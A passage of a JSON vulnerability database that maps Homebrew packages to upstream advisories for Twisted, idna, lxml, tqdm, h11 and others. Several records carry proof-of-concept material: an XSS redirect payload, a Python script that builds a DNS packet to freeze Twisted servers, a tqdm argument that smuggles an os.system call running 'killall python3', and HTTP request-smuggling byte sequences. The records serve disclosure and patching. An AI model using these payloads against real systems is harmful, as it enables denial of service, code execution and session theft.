\n\n\"\"\" % {\n b\"url\": URL\n }\n return content\n```\n\nIf an attacker has full or partial control over redirect location due to an application bug, also known as an “Open Redirect”, they may inject arbitrary HTML into the response’s body, ultimately leading to an XSS attack.\n\nIt’s worth noting that the issue is known to maintainers and tracked with GitHub [Issue#9839](https://github.com/twisted/twisted/issues/9839). The issue description, however, does not make any mention of exploitability and simply states: “…Browsers don't seem to actually render that page…”\n\n### PoC\nThe issue can be reproduced by running the following Twisted-based HTTP server locally:\n```python\nfrom twisted.web import server, resource\nfrom twisted.internet import reactor\nfrom twisted.web.util import redirectTo\n\nclass Simple(resource.Resource):\n isLeaf = True\n def render_GET(self, request):\n url = request.args[b'url'][0] # <-- open redirect\n return redirectTo(url, request)\n\nsite = server.Site(Simple())\nreactor.listenTCP(9009, site)\nreactor.run()\n```\nOnce running, navigate to the following URL: `http://127.0.0.1:9009?url=ws://example.com/\">`, and verify that the “alert” dialog was displayed.\n\n**Note**: Due to the different ways browsers validate the redirect Location header, this attack is possible only in **Firefox**. All other tested browsers will display an error message to the user and will not render the HTML body.\n\n### Impact\nIf successfully exploited, the issue will allow malicious JavaScript to run in the context of the victim's session. This will in turn lead to unauthorized access/modification to victim's account and information associated with it, or allow for unauthorized operations to be performed within the context of the victim's session.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-cf56-g6w6-pqq2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-41810"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/046a164f89a0f08d3239ecebd750360f8914df33"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2024-75.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00028.html"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2026-42304","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:58Z","upstream":["GHSA-grgv-6hw6-v9g4","CVE-2026-42304","PYSEC-2026-160"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"26.4.0rc2","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.4.0","key":"pkg:pypi/twisted@26.4.0","resource":"twisted"}]},"summary":"Twisted has a Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains","details":"### Details\n\nThe twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.\n\n---\n\n### Technical Details\n\nThe main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.\n\nBecause DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.\n\n```python\n## src/twisted/names/dns.py (Lines 595-631)\n\ndef decode(self, strio, length=None):\n visited = set()\n self.name = b\"\"\n off = 0\n while 1:\n l = ord(readPrecisely(strio, 1))\n if l == 0:\n if off > 0:\n strio.seek(off)\n return\n if (l >> 6) == 3:\n new_off = (l & 63) << 8 | ord(readPrecisely(strio, 1))\n if new_off in visited:\n raise ValueError(\"Compression loop in encoded name\")\n visited.add(new_off)\n if off == 0:\n off = strio.tell()\n strio.seek(new_off)\n continue\n label = readPrecisely(strio, l)\n if self.name == b\"\":\n self.name = label\n else:\n self.name = self.name + b\".\" + label\n\n```\n\n---\n\n### PoC\n\n```python\nimport struct, time\nfrom twisted.names import dns, server\nfrom twisted.test import proto_helpers\n\ndef create_tcp_payload():\n num_pointers = 8000\n packet_length = 65533\n num_questions = (packet_length - (num_pointers * 2) - 12) // 6\n\n buffer = bytearray(packet_length)\n\n struct.pack_into(\"!HHHHHH\", buffer, 0, 1, 0, num_questions, 0, 0, 0)\n\n ptr_offset = 12\n for _ in range(num_pointers - 1):\n struct.pack_into(\"!H\", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))\n ptr_offset += 2\n\n null_byte_offset = ptr_offset + 2\n struct.pack_into(\"!H\", buffer, ptr_offset, 0xC000 | null_byte_offset)\n buffer[null_byte_offset] = 0\n\n question_offset = null_byte_offset + 1\n for _ in range(num_questions):\n if question_offset + 6 <= packet_length:\n struct.pack_into(\"!HHH\", buffer, question_offset, 0xC000 | 12, 1, 1)\n question_offset += 6\n\n return packet_length, num_pointers, num_questions, struct.pack(\"!H\", packet_length) + buffer\n\ndef test_dns_server():\n factory = server.DNSServerFactory(clients=[])\n protocol = factory.buildProtocol((\"127.0.0.1\", 10053))\n transport = proto_helpers.StringTransport()\n protocol.makeConnection(transport)\n\n pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()\n print(\"payload\")\n print(f\"len={pkt_len} ptrs={num_ptrs} qs={num_qs}\")\n\n start = time.time()\n protocol.dataReceived(payload)\n end = time.time()\n\n print(f\"time={end - start:.4f}s\")\n\nif __name__ == \"__main__\":\n test_dns_server()\n```\n\n---\n\n### Impact\n\nA single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.\n\n---\n\n### Remediation\n\n- Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message\n- Share the \"resolved offset\" state across all records in a single message to prevent redundant processing.\n- Validate the number of questions before entering the decoding loop in Message.decode.\n\n---\n\n### Resources\n\nhttps://cwe.mitre.org/data/definitions/400.html\n\nhttps://cwe.mitre.org/data/definitions/407.html\n\nhttps://datatracker.ietf.org/doc/html/rfc9267\n\nhttps://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595\n\nhttps://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09\n\n---\n\n**Author**: Tomas Illuminati","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-grgv-6hw6-v9g4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42304"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2026-160.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2026-45409","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:58Z","upstream":["GHSA-65pc-fj4g-8rjx","CVE-2026-45409","PYSEC-2026-215"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.15","resource":"idna","resource_purl":"pkg:pypi/idna@3.15"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.15","key":"pkg:pypi/idna@3.15","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA): Specially crafted inputs to idna.encode() can bypass CVE-2024-3651 fix","details":"This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. Payloads such as `\"\\u0660\" * N` or `\"\\u30fb\" * N + \"\\u6f22\"` utilize the `valid_contexto` function prior to length rejection, and for high values of `N` will take a long time to process.\n\n### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nStarting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support).\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45409"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2026-215.yaml"}]},{"schema_version":"1.7.3","id":"BREW-alot-GHSA-32gv-6cf3-wcmq","published":"2026-08-13T16:35:13Z","modified":"2026-08-13T16:35:13Z","upstream":["GHSA-32gv-6cf3-wcmq"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"19.10.0","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.4.0","key":"pkg:pypi/twisted@26.4.0","resource":"twisted"}]},"summary":"HTTP/2 DoS Attacks: Ping, Reset, and Settings Floods","details":"### Impact\nTwisted web servers that utilize the optional HTTP/2 support suffer from the following flow-control related vulnerabilities:\n\nPing flood: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9512\nReset flood: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9514\nSettings flood: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9515\n\nA Twisted web server supports HTTP/2 requests if you've installed the [`http2` optional dependency set](https://twistedmatrix.com/documents/19.2.0/installation/howto/optional.html).\n\n### Workarounds\nThere are no workarounds.\n\n### References\nhttps://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-002.md\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Twisted's Trac](https://twistedmatrix.com/trac/)\n","references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-32gv-6cf3-wcmq"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/a40ab1ce5210f231abe7a448a54d7e88e48f2d5d"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"}]},{"schema_version":"1.7.3","id":"BREW-alot-GHSA-8r99-h8j2-rw64","published":"2026-08-13T16:35:13Z","modified":"2026-08-13T16:35:13Z","upstream":["GHSA-8r99-h8j2-rw64"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"20.3.0","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.4.0","key":"pkg:pypi/twisted@26.4.0","resource":"twisted"}]},"summary":"Twisted vulnerable to HTTP Request Smuggling Attacks","details":"### Impact\nTwisted Web is vulnerable to request smuggling attacks:\n\n1. \"When presented with two content-length headers, Twisted Web ignored the first header. When the second content-length was set to zero this caused Twisted Web to interpret the request body as a pipelined request. According to RFC 7230 Section 3.3.3#4, if a message is received with multiple content-length headers with differing value, then the server must reject the message with a 400 response.\" (Jake Miller of Bishop Fox Security)\n2. \" When presented with a content-length and a chunked encoding header, the content-length took precedence and the remainder of the request body was interpreted by Twisted Web as a pipelined request. According to RFC 7230 Section 3.3.3#3, if a message with both content-length and chunked encoding is accepted, transfer-encoding overrides the content-length.\" (Jake Miller of Bishop Fox Security)\n3. ~\"Twisted should not allow BWS between the filed-name and colon.\" (ZeddYu Lu)~ _closed in 9646_\n4. \"Two CL header with different values is also not allowed.\" (ZeddYu Lu)\n5. \"Only accept identity and chunked Transport-Encoding.\" (ZeddYu Lu)\n\n### Patches\nhttps://github.com/twisted/twisted/commit/20c787a14a09e7cbd5dfd8df08ceff00d1fcc081\nhttps://github.com/twisted/twisted/commit/4a7d22e490bb8ff836892cc99a1f54b85ccb0281\n\n### Workarounds\nN/A\n\n### References\nhttps://portswigger.net/web-security/request-smuggling\n","references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-8r99-h8j2-rw64"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/20c787a14a09e7cbd5dfd8df08ceff00d1fcc081"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/4a7d22e490bb8ff836892cc99a1f54b85ccb0281"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"}]}],"amtterm":[{"schema_version":"1.7.3","id":"BREW-amtterm-CVE-2015-8978","published":"2026-08-13T09:10:22Z","modified":"2026-08-13T09:10:22Z","upstream":["CVE-2015-8978"],"affected":[{"package":{"ecosystem":"Homebrew","name":"amtterm","purl":"pkg:brew/amtterm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.8-1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.15","resource":"SOAP::Lite","resource_purl":"pkg:cpan/PHRED/SOAP-Lite@1.27"}}],"database_specific":{"source":"matched","strategy":"cpansa","confidence":"medium","upstream_evidence":[{"strategy":"cpansa","ecosystem":"CPAN","name":"SOAP-Lite","subject_version":"1.27","key":"pkg:cpan/PHRED/SOAP-Lite@1.27","resource":"SOAP::Lite"}]},"details":"In Soap Lite (aka the SOAP::Lite extension for Perl) 1.14 and earlier, an example attack consists of defining 10 or more XML entities, each defined as consisting of 10 of the previous entity, with the document consisting of a single instance of the largest entity, which expands to one billion copies of the first entity. The amount of computer memory used for handling an external SOAP call would likely exceed that available to the process parsing the XML.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"ADVISORY","url":"http://cpansearch.perl.org/src/PHRED/SOAP-Lite-1.20/Changes"},{"type":"WEB","url":"http://www.securityfocus.com/bid/94487"}]}],"animdl":[{"schema_version":"1.7.3","id":"BREW-animdl-CVE-2022-2309","published":"2026-08-13T16:35:16Z","modified":"2026-09-17T18:11:50Z","upstream":["GHSA-wrxv-2j5q-m38w","CVE-2022-2309","PYSEC-2022-230"],"affected":[{"package":{"ecosystem":"Homebrew","name":"animdl","purl":"pkg:brew/animdl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.7"},{"fixed":"1.7.11"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.9.1","resource":"lxml","resource_purl":"pkg:pypi/lxml@5.3.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"lxml","subject_version":"5.3.1","key":"pkg:pypi/lxml@5.3.1","resource":"lxml"}]},"summary":"lxml NULL Pointer Dereference allows attackers to cause a denial of service","details":"NULL Pointer Dereference allows attackers to cause a denial of service (or application crash). This only applies when lxml is used together with libxml2 2.9.10 through 2.9.14. libxml2 2.9.9 and earlier are not affected. It allows triggering crashes through forged input data, given a vulnerable code sequence in the application. The vulnerability is caused by the iterwalk function (also used by the canonicalize function). Such code shouldn't be in wide-spread use, given that parsing + iterwalk would usually be replaced with the more efficient iterparse function. However, an XML converter that serialises to C14N would also be vulnerable, for example, and there are legitimate use cases for this code sequence. If untrusted input is received (also remotely) and processed via iterwalk function, a crash can be triggered.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-2309"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/86368e9cf70a0ad23cccd5ee32de847149af0c6f"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-wrxv-2j5q-m38w"},{"type":"PACKAGE","url":"https://github.com/lxml/lxml"},{"type":"WEB","url":"https://github.com/lxml/lxml/blob/master/CHANGES.txt"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2022-230.yaml"},{"type":"WEB","url":"https://huntr.dev/bounties/8264e74f-edda-4c40-9956-49de635105ba"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/09/msg00021.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HGYC6L7ENH5VEGN3YWFBYMGKX6WNS7HZ"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/URHHSIBTPTALXMECRLAC2EVDNAFSR5NO"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202208-06"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20220915-0006"}]},{"schema_version":"1.7.3","id":"BREW-animdl-CVE-2023-52323","published":"2026-08-13T16:35:16Z","modified":"2026-09-09T23:40:59Z","upstream":["GHSA-j225-cvw7-qrx7","CVE-2023-52323","PYSEC-2024-3","PYSEC-2026-1811"],"affected":[{"package":{"ecosystem":"Homebrew","name":"animdl","purl":"pkg:brew/animdl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.19.1","resource":"pycryptodomex","resource_purl":"pkg:pypi/pycryptodomex@3.14.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pycryptodomex","subject_version":"3.14.1","key":"pkg:pypi/pycryptodomex@3.14.1","resource":"pycryptodomex"}]},"summary":"PyCryptodome and pycryptodomex side-channel leakage for OAEP decryption","details":"PyCryptodome and pycryptodomex before 3.19.1 allow side-channel leakage for OAEP decryption, exploitable for a Manger attack.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-52323"},{"type":"WEB","url":"https://github.com/Legrandin/pycryptodome/commit/0deea1bfe1489e8c80d2053bbb06a1aa0b181ebd"},{"type":"PACKAGE","url":"https://github.com/Legrandin/pycryptodome"},{"type":"WEB","url":"https://github.com/Legrandin/pycryptodome/blob/master/Changelog.rst"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pycryptodomex/PYSEC-2024-3.yaml"},{"type":"WEB","url":"https://pypi.org/project/pycryptodomex/#history"}]},{"schema_version":"1.7.3","id":"BREW-animdl-CVE-2024-34062","published":"2026-08-13T16:35:16Z","modified":"2026-09-09T23:40:59Z","upstream":["GHSA-g7vv-2v7x-gj9p","CVE-2024-34062","PYSEC-2026-1976"],"affected":[{"package":{"ecosystem":"Homebrew","name":"animdl","purl":"pkg:brew/animdl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.66.3","resource":"tqdm","resource_purl":"pkg:pypi/tqdm@4.65.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"tqdm","subject_version":"4.65.2","key":"pkg:pypi/tqdm@4.65.2","resource":"tqdm"}]},"summary":"tqdm CLI arguments injection attack","details":"### Impact\nAny optional non-boolean CLI arguments (e.g. `--delim`, `--buf-size`, `--manpath`) are passed through python's `eval`, allowing arbitrary code execution. Example:\n\n```sh\npython -m tqdm --manpath=\"\\\" + str(exec(\\\"import os\\nos.system('echo hi && killall python3')\\\")) + \\\"\"\n```\n\n### Patches\nhttps://github.com/tqdm/tqdm/commit/4e613f84ed2ae029559f539464df83fa91feb316 released in `tqdm>=4.66.3`\n\n### Workarounds\nNone\n\n### References\n- https://github.com/tqdm/tqdm/releases/tag/v4.66.3","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/tqdm/tqdm/security/advisories/GHSA-g7vv-2v7x-gj9p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34062"},{"type":"WEB","url":"https://github.com/tqdm/tqdm/commit/4e613f84ed2ae029559f539464df83fa91feb316"},{"type":"PACKAGE","url":"https://github.com/tqdm/tqdm"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PA3GIGHPWAHCTT4UF57LTPZGWHAX3GW6"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QRECVQCCESHBS3UJOWNXQUIX725TKNY6"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VA337CYUS4SLRFV2P6MX6MZ2LKFURKJC"}]},{"schema_version":"1.7.3","id":"BREW-animdl-CVE-2024-3651","published":"2026-08-13T16:35:16Z","modified":"2026-09-17T18:11:50Z","upstream":["GHSA-jjg7-2v4v-x38h","CVE-2024-3651","PYSEC-2024-60"],"affected":[{"package":{"ecosystem":"Homebrew","name":"animdl","purl":"pkg:brew/animdl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.3"},{"fixed":"1.7.27_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.7","resource":"idna","resource_purl":"pkg:pypi/idna@3.12"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.12","key":"pkg:pypi/idna@3.12","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA) vulnerable to denial of service from specially crafted inputs to idna.encode","details":"### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nThe function has been refined to reject such strings without the associated resource consumption in version 3.7.\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.\n\n### References\n* https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-jjg7-2v4v-x38h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-3651"},{"type":"WEB","url":"https://github.com/kjd/idna/commit/1d365e17e10d72d0b7876316fc7b9ca0eebdd38d"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2024-60.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/05/msg00006.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4YQUPYH3SVZ5GFF2CDQ55FCM575AZTF2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/F2S5E23N6E52S46KGNYTDFB75LOC4N4D"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/S5IDLLD2IKSIVRBSLB34WTSYGLMWUFWF"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ULSC7HBJKXB3BZV367WM5BR6DFEC4Z43"}]},{"schema_version":"1.7.3","id":"BREW-animdl-CVE-2025-43859","published":"2026-08-13T16:35:16Z","modified":"2026-09-09T23:40:59Z","upstream":["GHSA-vqfr-h8mv-ghfj","CVE-2025-43859","PYSEC-2026-348"],"affected":[{"package":{"ecosystem":"Homebrew","name":"animdl","purl":"pkg:brew/animdl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.16.0","resource":"h11","resource_purl":"pkg:pypi/h11@0.14.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"h11","subject_version":"0.14.0","key":"pkg:pypi/h11@0.14.0","resource":"h11"}]},"summary":"h11 accepts some malformed Chunked-Encoding bodies","details":"### Impact\n\nA leniency in h11's parsing of line terminators in chunked-coding message bodies can lead to request smuggling vulnerabilities under certain conditions.\n\n### Details\n\nHTTP/1.1 Chunked-Encoding bodies are formatted as a sequence of \"chunks\", each of which consists of:\n\n- chunk length\n- `\\r\\n`\n- `length` bytes of content\n- `\\r\\n`\n\nIn versions of h11 up to 0.14.0, h11 instead parsed them as:\n\n- chunk length\n- `\\r\\n`\n- `length` bytes of content\n- any two bytes\n\ni.e. it did not validate that the trailing `\\r\\n` bytes were correct, and if you put 2 bytes of garbage there it would be accepted, instead of correctly rejecting the body as malformed.\n\nBy itself this is harmless. However, suppose you have a proxy or reverse-proxy that tries to analyze HTTP requests, and your proxy has a _different_ bug in parsing Chunked-Encoding, acting as if the format is:\n\n- chunk length\n- `\\r\\n`\n- `length` bytes of content\n- more bytes of content, as many as it takes until you find a `\\r\\n`\n\nFor example, [pound](https://github.com/graygnuorg/pound/pull/43) had this bug -- it can happen if an implementer uses a generic \"read until end of line\" helper to consumes the trailing `\\r\\n`.\n\nIn this case, h11 and your proxy may both accept the same stream of bytes, but interpret them differently. For example, consider the following HTTP request(s) (assume all line breaks are `\\r\\n`):\n\n```\nGET /one HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n5\nAAAAAXX2\n45\n0\n\nGET /two HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n0\n```\n\nHere h11 will interpret it as two requests, one with body `AAAAA45` and one with an empty body, while our hypothetical buggy proxy will interpret it as a single request, with body `AAAAXX20\\r\\n\\r\\nGET /two ...`. And any time two HTTP processors both accept the same string of bytes but interpret them differently, you have the conditions for a \"request smuggling\" attack. For example, if `/two` is a dangerous endpoint and the job of the reverse proxy is to stop requests from getting there, then an attacker could use a bytestream like the above to circumvent this protection.\n\nEven worse, if our buggy reverse proxy receives two requests from different users:\n\n```\nGET /one HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n5\nAAAAAXX999\n0\n```\n\n```\nGET /two HTTP/1.1\nHost: localhost\nCookie: SESSION_KEY=abcdef...\n```\n\n...it will consider the first request to be complete and valid, and send both on to the h11-based web server over the same socket. The server will then see the two concatenated requests, and interpret them as _one_ request to `/one` whose body includes `/two`'s session key, potentially allowing one user to steal another's credentials.\n\n### Patches\n\nFixed in h11 0.15.0.\n\n### Workarounds\n\nSince exploitation requires the combination of buggy h11 with a buggy (reverse) proxy, fixing either component is sufficient to mitigate this issue.\n\n### Credits\n\nReported by Jeppe Bonde Weikop on 